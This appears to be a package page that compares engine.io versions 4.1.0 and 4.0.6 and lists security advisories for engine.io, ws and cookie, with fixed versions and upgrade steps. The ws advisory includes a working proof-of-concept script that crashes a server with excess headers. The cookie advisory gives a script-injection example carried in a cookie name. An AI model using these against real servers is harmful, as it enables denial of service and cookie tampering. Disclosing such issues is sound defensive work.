Engine.IO version 4.1.0 represents a minor update over the previous stable release, version 4.0.6, focusing primarily on internal improvements and dependency adjustments rather than introducing radical new features for developers. Both versions serve as the core transport mechanism behind Socket.IO, providing a robust foundation for bidirectional, real-time communication between clients and servers. Key dependencies remain consistent between the two versions, including ws for WebSocket support, cors for Cross-Origin Resource Sharing, debug for enhanced logging, cookie for handling cookies, accepts for content negotiation, base64id for ID generation, and engine.io-parser for message parsing.
The significant difference lies in the updated development dependencies. Version 4.1.0 adopts the "engine.io-client":"4.1.0", while 4.0.6 uses "engine.io-client":"4.0.6", and introduces "engine.io-client-v3":"npm:engine.io-client@3.5.0", hinting at potential compatibility testing or considerations for older client versions. This may indicate bug fixes or optimizations related to the client-server handshake or data transmission. Developers upgrading should ensure their client-side Engine.IO library is also updated to version 4.1.0 to maintain compatibility and benefit from any corresponding improvements. The release date difference also suggests the updated version contains the latest fixes and improvements. The file count and unpacked size differ slightly between the versions, 14 and 93392 vs 12 and 74889 respectively, implying code improvements in the newer version.
All the vulnerabilities related to the version 4.1.0 of the package
Uncaught Exception in engine.io
A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.
RangeError: Invalid WebSocket frame: RSV2 and RSV3 must be clear at Receiver.getInfo (/.../node_modules/ws/lib/receiver.js:176:14) at Receiver.startLoop (/.../node_modules/ws/lib/receiver.js:136:22) at Receiver._write (/.../node_modules/ws/lib/receiver.js:83:10) at writeOrBuffer (internal/streams/writable.js:358:12)
This impacts all the users of the engine.io
package starting from version 4.0.0
, including those who uses depending packages like socket.io
.
A fix has been released for each major branch:
| Version range | Fixed version |
| --- | --- |
| engine.io@4.x.x
| 4.1.2
|
| engine.io@5.x.x
| 5.2.1
|
| engine.io@6.x.x
| 6.1.1
|
Previous versions (< 4.0.0
) are not impacted.
For socket.io
users:
| Version range | engine.io
version | Needs minor update? |
| --- | --- | --- |
| socket.io@4.4.x
| ~6.1.0
| -
| socket.io@4.3.x
| ~6.0.0
| Please upgrade to socket.io@4.4.x
| socket.io@4.2.x
| ~5.2.0
| -
| socket.io@4.1.x
| ~5.1.1
| Please upgrade to socket.io@4.4.x
| socket.io@4.0.x
| ~5.0.0
| Please upgrade to socket.io@4.4.x
| socket.io@3.1.x
| ~4.1.0
| -
| socket.io@3.0.x
| ~4.0.0
| Please upgrade to socket.io@3.1.x
or socket.io@4.4.x
(see here)
In most cases, running npm audit fix
should be sufficient. You can also use npm update engine.io --depth=9999
.
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
engine.io
Thanks to Marcus Wejderot from Mevisio for the responsible disclosure.
Uncaught exception in engine.io
A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.
events.js:292
throw er; // Unhandled 'error' event
^
Error: read ECONNRESET
at TCP.onStreamRead (internal/stream_base_commons.js:209:20)
Emitted 'error' event on Socket instance at:
at emitErrorNT (internal/streams/destroy.js:106:8)
at emitErrorCloseNT (internal/streams/destroy.js:74:3)
at processTicksAndRejections (internal/process/task_queues.js:80:21) {
errno: -104,
code: 'ECONNRESET',
syscall: 'read'
}
This impacts all the users of the engine.io
package, including those who uses depending packages like socket.io
.
A fix has been released today (2022/11/20):
| Version range | Fixed version |
|-------------------|---------------|
| engine.io@3.x.y
| 3.6.1
|
| engine.io@6.x.y
| 6.2.1
|
For socket.io
users:
| Version range | engine.io
version | Needs minor update? |
|-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------|
| socket.io@4.5.x
| ~6.2.0
| npm audit fix
should be sufficient |
| socket.io@4.4.x
| ~6.1.0
| Please upgrade to socket.io@4.5.x
|
| socket.io@4.3.x
| ~6.0.0
| Please upgrade to socket.io@4.5.x
|
| socket.io@4.2.x
| ~5.2.0
| Please upgrade to socket.io@4.5.x
|
| socket.io@4.1.x
| ~5.1.1
| Please upgrade to socket.io@4.5.x
|
| socket.io@4.0.x
| ~5.0.0
| Please upgrade to socket.io@4.5.x
|
| socket.io@3.1.x
| ~4.1.0
| Please upgrade to socket.io@4.5.x
(see here) |
| socket.io@3.0.x
| ~4.0.0
| Please upgrade to socket.io@4.5.x
(see here) |
| socket.io@2.5.0
| ~3.6.0
| npm audit fix
should be sufficient |
| socket.io@2.4.x
and below | ~3.5.0
| Please upgrade to socket.io@2.5.0
|
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
engine.io
Thanks to Jonathan Neve for the responsible disclosure.
ws affected by a DoS when handling a request with many HTTP headers
A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size
and/or the maxHeaderSize
options so that no more headers than the server.maxHeadersCount
limit can be sent.server.maxHeadersCount
to 0
so that no limit is applied.The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
cookie accepts cookie name, path, and domain with out of bounds characters
The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value)
would result in "userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test"
, setting userName
cookie to <script>
and ignoring value
.
A similar escape can be used for path
and domain
, which could be abused to alter other fields of the cookie.
Upgrade to 0.7.0, which updates the validation for name
, path
, and domain
.
Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.